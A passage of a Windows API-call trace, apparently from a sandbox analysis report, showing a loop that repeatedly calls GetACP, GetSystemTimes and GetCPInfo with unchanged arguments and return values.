GetACP () returned 0x4e4 [0049.429] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.429] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.429] GetACP () returned 0x4e4 [0049.429] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.429] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.429] GetACP () returned 0x4e4 [0049.429] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.429] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.429] GetACP () returned 0x4e4 [0049.429] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.429] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.429] GetACP () returned 0x4e4 [0049.429] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.430] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.430] GetACP () returned 0x4e4 [0049.430] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.430] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.430] GetACP () returned 0x4e4 [0049.430] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.430] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.430] GetACP () returned 0x4e4 [0049.430] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.430] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.430] GetACP () returned 0x4e4 [0049.430] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.430] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.430] GetACP () returned 0x4e4 [0049.430] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.430] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.430] GetACP () returned 0x4e4 [0049.430] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.430] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.430] GetACP () returned 0x4e4 [0049.430] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.430] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.430] GetACP () returned 0x4e4 [0049.431] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.431] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.431] GetACP () returned 0x4e4 [0049.431] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.431] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.431] GetACP () returned 0x4e4 [0049.431] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.431] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.431] GetACP () returned 0x4e4 [0049.431] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.431] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.431] GetACP () returned 0x4e4 [0049.431] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.431] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.431] GetACP () returned 0x4e4 [0049.431] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.431] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.431] GetACP () returned 0x4e4 [0049.431] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.431] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.431] GetACP () returned 0x4e4 [0049.431] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.431] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.431] GetACP () returned 0x4e4 [0049.431] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.432] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.432] GetACP () returned 0x4e4 [0049.432] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.432] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.432] GetACP () returned 0x4e4 [0049.432] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.432] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.432] GetACP () returned 0x4e4 [0049.432] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.432] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.432] GetACP () returned 0x4e4 [0049.432] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.432] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.432] GetACP () returned 0x4e4 [0049.432] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.432] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.432] GetACP () returned 0x4e4 [0049.432] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.432] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.432] GetACP () returned 0x4e4 [0049.432] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.432] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.432] GetACP () returned 0x4e4 [0049.432] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.432] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.432] GetACP () returned 0x4e4 [0049.433] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.433] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.433] GetACP () returned 0x4e4 [0049.433] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.433] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.433] GetACP () returned 0x4e4 [0049.433] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.433] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.433] GetACP () returned 0x4e4 [0049.433] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.433] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.433] GetACP () returned 0x4e4 [0049.433] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.433] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.433] GetACP () returned 0x4e4 [0049.433] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.433] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.433] GetACP () returned 0x4e4 [0049.433] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.433] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.433] GetACP () returned 0x4e4 [0049.433] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.433] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.433] GetACP () returned 0x4e4 [0049.433] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.434] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.434] GetACP () returned 0x4e4 [0049.434] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.434] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.434] GetACP () returned 0x4e4 [0049.434] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.434] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.434] GetACP () returned 0x4e4 [0049.434] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.434] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.434] GetACP () returned 0x4e4 [0049.434] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.434] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.434] GetACP () returned 0x4e4 [0049.434] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.434] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.434] GetACP () returned 0x4e4 [0049.434] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.434] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.434] GetACP () returned 0x4e4 [0049.434] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.434] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.434] GetACP () returned 0x4e4 [0049.434] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.434] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.434] GetACP () returned 0x4e4 [0049.434] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.435] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.435] GetACP () returned 0x4e4 [0049.435] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.435] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.435] GetACP () returned 0x4e4 [0049.435] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.435] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.435] GetACP () returned 0x4e4 [0049.435] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.435] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.435] GetACP () returned 0x4e4 [0049.435] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.435] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.435] GetACP () returned 0x4e4 [0049.435] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.435] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.435] GetACP () returned 0x4e4 [0049.435] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.435] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.435] GetACP () returned 0x4e4 [0049.435] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.435] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.435] GetACP () returned 0x4e4 [0049.435] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.435] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.436] GetACP () returned 0x4e4 [0049.436] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.436] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.436] GetACP () returned 0x4e4 [0049.436] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.436] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.436] GetACP () returned 0x4e4 [0049.436] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.436] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.436] GetACP () returned 0x4e4 [0049.436] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.436] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.436] GetACP () returned 0x4e4 [0049.436] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.436] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.436] GetACP () returned 0x4e4 [0049.436] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.436] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.436] GetACP () returned 0x4e4 [0049.436] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.436] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.436] GetACP () returned 0x4e4 [0049.436] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.436] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.436] GetACP () returned 0x4e4 [0049.436] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.437] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.437] GetACP () returned 0x4e4 [0049.437] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.437] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.437] GetACP () returned 0x4e4 [0049.437] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.437] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.437] GetACP () returned 0x4e4 [0049.437] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.437] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.437] GetACP () returned 0x4e4 [0049.437] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.437] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.437] GetACP () returned 0x4e4 [0049.437] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.437] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.437] GetACP () returned 0x4e4 [0049.437] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.437] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.437] GetACP () returned 0x4e4 [0049.437] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.437] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.437] GetACP () returned 0x4e4 [0049.437] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.437] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.437] GetACP () returned 0x4e4 [0049.437] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.438] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.438] GetACP () returned 0x4e4 [0049.438] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.438] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.438] GetACP () returned 0x4e4 [0049.438] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.438] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.438] GetACP () returned 0x4e4 [0049.438] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.438] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.438] GetACP () returned 0x4e4 [0049.438] 